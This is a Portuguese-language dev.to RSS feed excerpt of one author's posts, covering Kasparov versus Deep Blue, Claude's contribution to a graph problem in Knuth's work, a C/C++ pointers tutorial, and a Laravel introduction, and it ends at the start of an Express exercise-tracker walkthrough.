&lt;p&gt;Essa crença refutada pela história, vinha da ideia da “explosão de combinatória” que é quando o número de combinações de um experimento matemático cresce de forma muito rápida e da ideia que um computador teria que “avaliar” todos os lances. Diante dessa dificuldade surgiu uma ideia: Os computadores deveriam em vez de avaliar todos os lances, procurar apenas aqueles que faziam sentido.&lt;/p&gt;

&lt;p&gt;Para isso, os engenheiros desenvolveram uma função de avaliação capaz de atribuir uma nota a cada posição do tabuleiro. Essa função era calibrada com base no conhecimento de mestres e na análise de milhares de partidas de alto nível, utilizando métodos estatísticos para ajustar a importância de fatores como material, segurança do rei, estrutura de peões e mobilidade. &lt;/p&gt;

&lt;p&gt;Assim, o computador conseguia estimar quais posições eram mais favoráveis e direcionar sua busca para as variantes mais promissoras. &lt;br&gt;
Em resumo, ela poderia encontrar os lances mais promissores, ao “atribuir notas” à lances e posições, fazendo ela “podar” linhas ruins ou perdedoras.(guarde esta informação)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6cqxx2qnnd1hk1t318s8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6cqxx2qnnd1hk1t318s8.png" alt="Arvore de possibilidades de jogo no xadrez" width="800" height="1010"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Tática e Estratégia
&lt;/h2&gt;

&lt;p&gt;Como um jogo estratégia, é esperado que o xadrez se baseie em planos. Planos de longo prazo são chamados de estratégia e os de curto prazo que miram uma vantagem imediata são chamadas de tática.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl7d0lqk50oreihr3exq3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl7d0lqk50oreihr3exq3.png" alt="mapa mental com diferenças de tática e estratégia" width="800" height="579"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No caso o “longo prazo”, seria as desenvolver as peças, posicionando-as da forma mais “eficiente possível”, as tornando o mais ativas: &lt;br&gt;
As torres atuam melhor quando trabalham juntas em colunas abertas;&lt;br&gt;
Os bispos atuam melhor em diagonais longas, posições abertas e quando temos ambos no tabuleiro, de forma que cada um cubra as casas escuras ou brancas;&lt;br&gt;
Os cavalos atuam melhor em posições fechadas pois podem “saltar” sobre as peças e quando apoiadas por um peão, que é chamado de base de operações;&lt;br&gt;
A Dama é a peça mais poderosa de todas e é o coração do ataque, ela trabalha muito bem em conjunto com todas as outras peças;&lt;br&gt;
O rei vale o jogo e só deve ser utilizado em finais;&lt;br&gt;
E o peão? É a alma do jogo! Os peões limitam as ações das peças inimigas e podem definir o vencedor de uma partida.&lt;/p&gt;

&lt;p&gt;Peças bem posicionadas ou ter peças a mais criam uma vantagem, no caso posicional ou material.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Primeira Partida
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz2j94pikobyzlhskclvq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz2j94pikobyzlhskclvq.png" alt="imagem do jogo" width="565" height="603"&gt;&lt;/a&gt;&lt;br&gt;
Essa partida à primeira vista pode parecer estranha. Mesmo conduzindo as peças brancas, Kasparov joga de forma encolhida e defensiva, evitando complicações táticas imediatas e conduzindo o jogo para uma posição fechada, evitando o contato, muito diferente de seu estilo naturalmente agressivo. Essa escolha fazia parte de uma estratégia conhecida como tática anti-computacional. Na década de 1990, programas como o Deep Blue eram extraordinários em posições táticas, nas quais algoritmos de força bruta e o cálculo profundo encontravam rapidamente as melhores sequências de lances. Em posições fechadas, entretanto, os planos estratégicos de longo prazo tinham maior importância, exigindo que a função de avaliação do computador captasse nuances posicionais mais difíceis de quantificar. Além disso, ao escolher uma variante pouco comum, Kasparov buscava retirar o Deep Blue de seu livro de aberturas logo nas primeiras jogadas, obrigando-o a depender apenas de seus algoritmos de busca e avaliação. &lt;/p&gt;

&lt;p&gt;Podemos pensar na “tática anti-computacional” de Kasparov como forçar o computador a jogar posições onde ele tinha mais dificuldade, posições fechadas e com poucas partidas de referência que faziam o Deep Blue sair de seu livro de aberturas mais cedo. E neste cenário, algoritmos de força bruta e algoritmos de busca  perdiam eficiência devido à explosão de combinatória. Nesse cenário se sobressai as estratégias de longuíssimo prazo, aos poucos construir uma posição superior, acumulando pequenas vantagens e forçando o computador ao erro até o derrotar.&lt;/p&gt;

&lt;p&gt;Após muitos lances sem contato entre as peças:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7m9cp4pfgp62es8vjit7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7m9cp4pfgp62es8vjit7.png" alt=" " width="557" height="608"&gt;&lt;/a&gt;&lt;br&gt;
Kasparov permite que o computador tome sua torre com o bispo o que parece uma loucura: mesmo que tome o bispo de casas negras do Deep Blue, a torre é muito superior ao bispo. Isso era parte do plano. Computadores tem dificuldade de avaliar vantagens posicionais, sua função de avaliação tinha maior dificuldade para mensurar a compensação estratégica obtida por Kasparov, especialmente o avanço inevitável dos peões passados que viria logo em seguida, entrando em uma posição perdida.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flv37jt4ar8nmwy17w0xe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flv37jt4ar8nmwy17w0xe.png" alt="imagem do jogo" width="564" height="609"&gt;&lt;/a&gt;&lt;br&gt;
Agora Kasparov tem dois peões passados e conectados(um peão apoia o outro), que inevitavelmente vão chegar ao fim do tabuleiro sendo coroados para uma dama e vencendo o jogo. Poucos lances depois, os engenheiros do Deep Blue jogaram a toalha e admitiram a derrota.&lt;/p&gt;

&lt;p&gt;Apesar dessa vitória, Kasparov teve que trocar sua estratégia de jogo, pois era perigoso demais  jogar em um estilo que não era o dele, esse estilo não era só “anti-computacional” mas também “anti-Kasparov”.&lt;br&gt;
Entretanto, a vitória de Kasparov seria apenas temporária. O Deep Blue empatou a segunda partida e, ao final do confronto, venceu o match por 3½ a 2½. Pela primeira vez, um campeão mundial em atividade era derrotado por um computador em condições oficiais, um marco na história da computação e da inteligência artificial. &lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>computerscience</category>
      <category>mathematics</category>
    </item>
    <item>
      <title>Claude resolve problema em aberto e choca Donald Knuth</title>
      <dc:creator>Adriel Henrique</dc:creator>
      <pubDate>Tue, 24 Mar 2026 21:09:37 +0000</pubDate>
      <link>https://dev.to/adrielh024/claude-resolve-problema-em-aberto-e-choca-donald-knuth-26jg</link>
      <guid>https://dev.to/adrielh024/claude-resolve-problema-em-aberto-e-choca-donald-knuth-26jg</guid>
      <description>&lt;p&gt;Terence Tao — para muitos, um dos maiores matemáticos vivos — acreditava que, em alguns anos, teríamos a IA como uma coautora confiável para artigos na área de exatas. Contrariando o que Tao acreditava, isso acabou de acontecer. Claude conseguiu resolver um problema de grafos que estava em aberto. Isso ocorreu em um novo trabalho publicado por Donald Knuth, um dos maiores nomes da ciência da computação e também um grande “ex-cético” da capacidade da IA, que, no auge de seus 88 anos, estava trabalhando em um problema que o assombrava havia semanas para sua lendária coleção de livros sobre programação (sim, Knuth ainda trabalha no “Art of Computer Programming”), quando houve um resultado inesperado: a IA Claude Opus conseguiu resolver um problema de pesquisa em aberto.&lt;/p&gt;

&lt;p&gt;Tentando há semanas resolver um problema de grafos e combinatória, Knuth solicitou ajuda a seu amigo Filip Stappers, que acabou jogando esse problema para o Claude. O Claude tentou uma série de estratégias para atacar o problema. Após 25 abordagens, percebeu que, para encontrar uma solução “geral” para o problema informado, deveria usar matemática pura e que, após uma série de erros, pôde encontrar, mesmo que de maneira muito incompleta, algumas soluções que permitiam uma generalização, a qual Knuth tratou de desenvolver e que de fato resolvia o problema. Apesar do grande sucesso do Claude, por vezes ele chegou a “enroscar”, sem conseguir executar os próprios programas que escrevia, além de não ter conseguido, de fato, elaborar a generalização.&lt;/p&gt;

&lt;p&gt;Para finalizar o paper "Claude Cycles", Knuth fez uma piada que de fato nos deixa bastante reflexivos:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Acho que o espírito de Claude Shannon provavelmente se orgulha de saber que seu nome agora está sendo associado a tais avanços. Parabéns ao Claude!".&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Esse acontecimento é algo incrível. Ainda me lembro de alguns professores dizendo que o ChatGPT errava muitas coisas de matemática básica. Ou ainda, há algum tempo, ao submeter um problema da Olimpíada Internacional de Matemática, que levei um tempo considerável para resolver, nenhuma IA que testei foi capaz de resolvê-lo.&lt;br&gt;
o problema em questão:&lt;br&gt;


&lt;/p&gt;
&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;IMO&amp;nbsp;-&amp;nbsp;1964.&amp;nbsp;Prove&amp;nbsp;que,&amp;nbsp;para&amp;nbsp;a&amp;gt;b²&amp;nbsp;,ocorre&amp;nbsp;a&amp;nbsp;seguinte&amp;nbsp;identidade:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace newline"&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord sqrt"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span class="svg-align"&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;a&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;−&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;b&lt;/span&gt;&lt;span class="mord sqrt"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span class="svg-align"&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;a&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;+&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;b&lt;/span&gt;&lt;span class="mord sqrt"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span class="svg-align"&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;a&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;−&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;b&lt;/span&gt;&lt;span class="mord"&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="hide-tail"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="hide-tail"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="hide-tail"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord sqrt"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span class="svg-align"&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;a&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;−&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mopen nulldelimiter"&gt;&lt;/span&gt;&lt;span class="mfrac"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;4&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="frac-line"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;3&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;b&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;&lt;span class="mord mtight"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose nulldelimiter"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="hide-tail"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;−&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mopen nulldelimiter"&gt;&lt;/span&gt;&lt;span class="mfrac"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="frac-line"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose nulldelimiter"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;p&gt;Apesar de ser uma questão bastante complexa, ela segue um caminho relativamente conhecido; o problema real é a fatoração de um polinômio de grau 4 que surge ao desenvolver a expressão. Em outra situação, cheguei a testar alguns problemas algebricamente bem pesados do livro Higher Algebra, de Hall and Knight — conhecido por ter exercícios de altíssimo nível —, onde o DeepSeek apresentou dificuldades, “enroscando” ou não conseguindo resolver alguns deles.&lt;br&gt;
Todavia, os problemas citados são simplesmente triviais perto do que Knuth e Filip Stappers pediram ao Claude para resolver. De fato, isso pode ser um avanço considerável no uso de IA em nível de pesquisa. De fato, parabéns ao Claude!&lt;/p&gt;

</description>
      <category>ai</category>
      <category>algorithms</category>
      <category>machinelearning</category>
      <category>math</category>
    </item>
    <item>
      <title>Entendendo Ponteiros</title>
      <dc:creator>Adriel Henrique</dc:creator>
      <pubDate>Fri, 12 Jul 2024 14:08:50 +0000</pubDate>
      <link>https://dev.to/adrielh024/entendendo-ponteiros-1n8e</link>
      <guid>https://dev.to/adrielh024/entendendo-ponteiros-1n8e</guid>
      <description>&lt;p&gt;Em graduações da área de tecnologia, existem conceitos e matérias que geralmente assustam os alunos, alguns dos principais exemplos são matérias relacionadas a Programação Orientada a Objetos e Cálculo, outro exemplo são algumas noções mais abstratas tal como ponteiros, principalmente em C, tema deste artigo.&lt;br&gt;
Diferentemente de nós, os computadores não conhecem uma determinada informação por um “rótulo” ou “nome”, e sim pelo endereço onde este dado está alocado na memória. Podemos pensar na memória como um conjunto de “células” que contém um número de bits que armazenam 0 ou 1 e que cada célula está associada a um determinado endereço onde armazena alguma informação para que os programas executados pela máquina possam acessar estes dados e os manipular.&lt;br&gt;
Tendo em vista que para um programa poder usar um dado ele precisa saber de seu endereço na memória, podemos conceber o conceito de ponteiro. O ponteiro é uma variável que “aponta” para algum outro dado, é como se fosse um espaço na memória destinado a guardar o endereço de outra variável ou informação para que esta possa ser manipulada.&lt;br&gt;
Mas agora vem a pergunta, qual a utilidade de um ponteiro? O ponteiro permite algumas operações mais complexas envolvendo a memória, tal como alocação dinâmica com Malloc ou a criação de estruturas de dados mais complexas, etc. Além disso, há alguns detalhes que não são tão facilmente percebidas pelos estudantes em um primeiro momento, tal como o fato de o nome de um vetor ser um ponteiro. Isto mesmo, um vetor nada mais é que um “ponteiro fixo” que aponta para uma determinada posição na memória e que nós usamos o índice para manipular de acordo com a necessidade.&lt;br&gt;
Outra utilidade é a manipulação de dados por referência, por exemplo: passar uma matriz como parâmetro para outra função, permitindo que a matriz original seja modificada ao invés do valor ou objeto passado ser apenas uma cópia, algo que por exemplo ocorre no Javascript onde não há conceito de ponteiro (ao menos não explicitamente), por exemplo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int vet [5] ={10,20,3,4};

void somadez(int * ref){
    for(int i=0;i&amp;lt;5;i++)
        ref[i]+=10;
}

int main () {
    somadez(vet);
    for(int i=0;i&amp;lt;5;i++)
        printf("%i\n",vet[i]);

    return 0;
}

saída:
20
30
13
14

note que quem foi alterado foi o vetor original
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Outra utilidade não tão evidente de ponteiros, desta vez para linguagens orientadas a objeto, onde podemos, por exemplo, criar objetos dinâmicos e facilitar o trabalho com herança e polimorfismo.&lt;br&gt;
Temos esse exemplo a baixo com C++:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;

using namespace std;

class Animal{
public:
    virtual void som();
};

class Cachorro : public Animal{
public:
    void som(){
        cout &amp;lt;&amp;lt; "auau";
    }
};

int main () {
    Animal * ClasseBase;
    Cachorro ClasseFilha;

    ClasseBase = &amp;amp;ClasseFilha;
    ClasseBase-&amp;gt;som();
    //neste caso podemos usar o ponteiro para acessar métodos e atributos de uma classe derivada.
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>c</category>
      <category>cpp</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Introdução ao Laravel</title>
      <dc:creator>Adriel Henrique</dc:creator>
      <pubDate>Fri, 22 Dec 2023 06:09:10 +0000</pubDate>
      <link>https://dev.to/adrielh024/introducao-ao-laravel-1n2g</link>
      <guid>https://dev.to/adrielh024/introducao-ao-laravel-1n2g</guid>
      <description>&lt;p&gt;O Laravel é um framework PHP de sintaxe elegante que fornece uma série de recursos para a construção de aplicações web padrão MVC ,possuindo uma vasta documentação e comunidade é um dos maiores frameworks para trabalhar com web da atualidade.&lt;br&gt;
Para construir um projeto é necessário ter o composer instalado localmente e executar o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;composer create-project laravel/laravel&amp;lt;nome do projeto&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Após a execução do comando, será criado um diretório raiz do projeto e dentro dele terá uma série de diretórios que contem arquivos que servem para exercer certas funções em nossa aplicação, neste momento os diretórios que interessam são o “&lt;strong&gt;App&lt;/strong&gt;” e “&lt;strong&gt;Routes&lt;/strong&gt;”, o primeiro é necessário para definir os métodos e a maioria das funcionalidades do nosso aplicativo, sendo este o coração do projeto, ao qual não daremos tanto foco em um primeiro momento. O segundo diz respeito a organização de nossas rotas e o direcionamento de cada requisição.&lt;br&gt;
Dando continuídade a explicação da pasta Route, dentro dela temos os arquivos: web.php, api.php, channels.php e console.php.&lt;br&gt;
Geralmente, começamos definindo as rotas no “&lt;strong&gt;web.php&lt;/strong&gt;” que são aquelas rotas que devem ser acessadas pelo navegador usando a url, para definir uma rota podemos fazer assim:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Route::get('/', function () {
return view('HelloWorld');
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este metodo, quando acessado a rota ‘/’, retorna um documento blade(Blade é uma ferramenta inclusa no laravel que fornece uma maneira de gerar e renderizar arquivos html) chamado “&lt;strong&gt;HelloWorld.blade.php&lt;/strong&gt;” na pasta  ‘&lt;strong&gt;/resoures/view&lt;/strong&gt;’.&lt;br&gt;
Outra ferramenta muito útil para trabalhar com Laravel é o &lt;strong&gt;Artisan&lt;/strong&gt; que é uma interface em linha de comando que serve para agilizar o processo de desenvolvimento.&lt;br&gt;
Podemos usar o Artisan para gerar um controller:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;php artisan make:controller &amp;lt;nome do controller&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Controllers servem para gerenciar requisições http enviadas para determinadas rotas e poder adicionar uma lógica a estas.&lt;br&gt;
Por fim vamos construir uma aplicação que pegue um parametro, chame um controller que através de um metodo retorne uma view&lt;br&gt;
no web.php:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use App\Http\Controllers\exemplo;

Route::get('/{nome}', [exemplo::class, 'index']);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;o 'use' indica a localização do arquivo do controller, nossa rota tem o parametro "nome" e no entre as colchetes esta a chamada do  método index do controller "exemplo".&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;php artisan make:controller exemplo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class exemplo extends Controller
{
    public function index(string $nome){
        return view('HelloWorld', ['nome' =&amp;gt; $nome]);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O Método index retorna a view "Hello World" passando para ela o parametro nome&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div&amp;gt;
    &amp;lt;h1&amp;gt;Hello, {{ $nome }}&amp;lt;/h1&amp;gt;
&amp;lt;/div&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;entre as chaves esta o parametro que repassamos à view, o resultado deve ser assim quando acessarmos "&lt;a href="http://127.0.0.1:8000/dev%22:" rel="noopener noreferrer"&gt;http://127.0.0.1:8000/dev":&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd95adxj6b0m4bwm11p9x.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd95adxj6b0m4bwm11p9x.jpg" alt="Image description" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>laravel</category>
      <category>php</category>
      <category>beginners</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Resolvendo o Exercise Tracker - Free-code-camp</title>
      <dc:creator>Adriel Henrique</dc:creator>
      <pubDate>Thu, 15 Jun 2023 19:04:47 +0000</pubDate>
      <link>https://dev.to/adrielh024/resolvendo-o-exercise-tracker-free-code-camp-2e4e</link>
      <guid>https://dev.to/adrielh024/resolvendo-o-exercise-tracker-free-code-camp-2e4e</guid>
      <description>&lt;p&gt;A algum tempo fiz a certificação de Back-end da free-code camp,a maioria dos projetos propostos são no geral bem simples, no entanto, houve um que o nível de complexidade é mais elevado, que é o projeto de “exercise tracker”, neste artigo vou explicar como acabei resolvendo ele. &lt;/p&gt;

&lt;p&gt;Para este artigo vou usar algumas ferramentas: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;O repositório oficial do freecode camp do projeto. &lt;/li&gt;
&lt;li&gt;Postman para trabalhar com a API &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Além de alguns conhecimentos prévios, como: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Algumas noções de requições HTTP/REST. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Express, Mongoose e Atlas DB &lt;/p&gt;

&lt;p&gt;O projeto quando importado do Github ou do Replit tem apenas as funções básicas do express:&lt;br&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const express = require('express')
